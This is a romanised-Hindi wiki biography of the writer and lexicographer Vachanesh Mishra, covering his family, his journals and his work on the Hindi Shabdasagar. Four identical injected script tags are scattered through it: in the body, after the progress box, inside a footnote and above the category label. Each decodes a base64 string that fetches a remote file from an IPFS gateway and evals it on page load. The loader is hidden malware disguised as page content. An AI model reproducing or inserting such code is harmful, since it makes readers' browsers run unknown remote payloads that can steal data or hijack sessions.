वचनेश मिश्र

भारत डिस्कवरी प्रस्तुति
Revision as of 12:28, 25 October 2017 by व्यवस्थापन (talk | contribs) (Text replacement - "khoj.bharatdiscovery.org" to "bharatkhoj.org")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

vachanesh mishr janm vaishakh shukl 4, sanvath 1932 vikrami - sanh 1958 ee. ko pharrukhabad mean hua tha. hindi sahityakar, patrakar, koshakar the. unhone nagari pracharini sabha dvara sampadit hindi shabd sagar mean mahatvapoorn yogadan diya. ve udar, shalin, kavy kshetr mean paranparavadi, achhootodvar pakshapati, vidhava-vivah-samarthak, talak pratha ko prem ke lie hani karak samajhane vale, dahej virodhi aur bhoot pret tatha shakun-apashakun adi ko vyarth manane vale the. kuchh dinoan bad vachanesh ji sanh‌ 1908 ee. mean raja ramapal sianh se roothakar pharrukhabad chale ae. yahaan akar unhoanne shivaprasad mishr aur lalamani bhattachary vakil ke sajhe mean 'anand pres' sthapit kiya jisamean aantatogatva unhean bhari arthik hani uthani p di. isi pres mean unaki 'anany prakash' aur 'varnaang vyavastha' namak kritiyaan prakashit huee thian.

parichay

vachanesh mishr ka janm vaishakh shukl 4, sanh 1932 vi. ko pharrukhabad mean hua tha. inake poorvaj pahale zila haradoee ke naugaanv (suthiaean) mean rahate the par bad mean pharrukhabad chale ae the. puttoolal vachanesh ke pita, munnalal pitamah, thakuradas prapitamah aur badri prasad vriddh prapitamah the. chooanki vachanesh mishr apane mata-pita ke ek matr putr the, is karan unaka lalan-palan b de la d-pyar ke sath kiya gaya. jab ve pharasi padh rahe the tab unaki bheant svami dayanand sarasvati se huee. svami ji se prerana pakar vachanesh mishr ne pharasi chho d hiandi sanskrit ko apane adhyayan ka vishay banaya. kuchh samay bad 'brajavilas' padhana aranbh kiya. bad mean usase prerit ho ve bhajanoan ka nirman karane lage.[1]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nau varsh ki umr mean unaka vivah hua. 10 varsh ki umr se hi ye sthaniy kavi sabha mean bhag lene lage. isake bad unhoanne 'bharat hitaishi' sanh‌ 1887 ee. aranbh namak masik nikala. phatehagadh se nikalane vale patr 'kavi chitrakar' ki samasya poortiyaan bhi ve karane lage, jisake sanpadak kuandanalal se unhean paryapt protsahan bhi mila tha. kalakaankar ke raja ramapal sianh ke anurodh se 'hiandosthan' mean bhi ve apani rachanaean bhejane lage. raja ramapal sianh ke bulane par 16 varsh ki avastha (sanh‌ 1891 ee.) mean vachanesh mishr ji kalakaankar chale ge aur raja sahab ko piangal padhane lage. 'hiandosthan' ke sanpadak ke roop mean ab ve sanpadakiy lekh aur tippaniyaan bhi likhane lage.[1]

kritiyaan

ab tak unaki 'bharati-bhooshan' aur 'bhartrihari nirveand' sanjnak kritiyaan nikal chuki thian.

natak

unhoanne kalakaankar mean 'kanyakubj-sabha', 'kavisamaj', 'natak mandali', 'dhanushayajn lila' aur 'ramalila' jaisi kee sansthaoan ki sthapana kar unamean khele jane ke lie anek natakoan ki rachana bhi ki thi.

rachana

uparyukt oan mean 'shabari' ka sthan kafi ooancha hai jisake praudh kavyakaushal aur manoram bhavavidhan ki sarahana samast hiandi jagath‌ ne mukt kanth se hi hai. shrriangar, hasy, niti aur bhakti hi unaki sari kavita ke pramukh vishay the.

hiandi shabdasagar ka sanpadan

isi bich vachanesh mishr ji 'nagaripracharini sabha' kashi dvara 'hiandi shabdasagar' ke sanpadan ke lie amantrit kie ge. unhean kavy granthoan se shabd chunane evan unake arth likhane ka kam sauanpa gaya. tin mas kam karane ke bad ve asvasth ho ge aur bad mean svasth hokar kalakaankar naresh raja rajapal sianh ke nidhan ke bad unake uttaradhikari raja rameshasianh ke bulane par pun: kalakaankar chale ge. ve ab nishchit roop se vahaan rahakar pahale se hi nikalane vale patr 'samrat' ka sanpadan karane lage. phir ve pratapagadh rajy ke sekreteriyat mean kam karane lage. par is niras kam mean unaka man n laga aur ve vahaan se rayabareli chale gaye jahaan 'manas' par ho rahe kary mean tin mahine tak rahakar sahayata pahuanchaee. tatpachath‌ ve pharrukhabad ae aur rastogi vidyalay ke pradhanadhyapak bane. vachanesh hi pharrakhabad se rasik' namak patr march, 1924 ee. se nikal rahe the, par bad mean gayaprasad shukl 'sanehi' ke agrah se yah patr 'sukavi' mean sammilit kar liya gaya. ab 'sukavi' mean unaki kavitaean nikalane lagian. isake bad raja rameshasianh ke putr avadheshasianh phir sagrah unhean kalakaankar liva le ge.

vachanesh mishr ne 'daridranarayan' (julaee, 1931 ee. se aranbh) patr ka sanpadan kiya. avadheshasianh ki mrityu ke bad ve phir pharrukhabad a ge aur tab se aant tak yahian rahe. sanh‌ 1958 ee. mean vachanesh ji golokavasi hue. vachanesh ji udar, shalin, kavyakshetr mean paranparavadi, achhootodvar pakshapati, vidhava-vivah-samarthak, talak pratha ko prem ke lie hani karak samajhane vale, dahej virodhi aur bhoot pret tatha shakun apashakun adi ko vyarth manane vale the. chooanki vachanesh ji ne ath varsh ki avastha se hi kavy rachana aranbh kar di thi, is karan mrityukal tak ate ate unhoanne darjanoan pustakoan ka pranayan kar dala tha. svayan vachanesh ji apane ko 47 pustakoan ka rachayita batalate the, jinamean kee prasiddh haian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. 1.0 1.1 vachanesh mishr (hindi) bharatakhoj. abhigaman tithi: 20 julaee, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>hindi sahitycharit kosh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah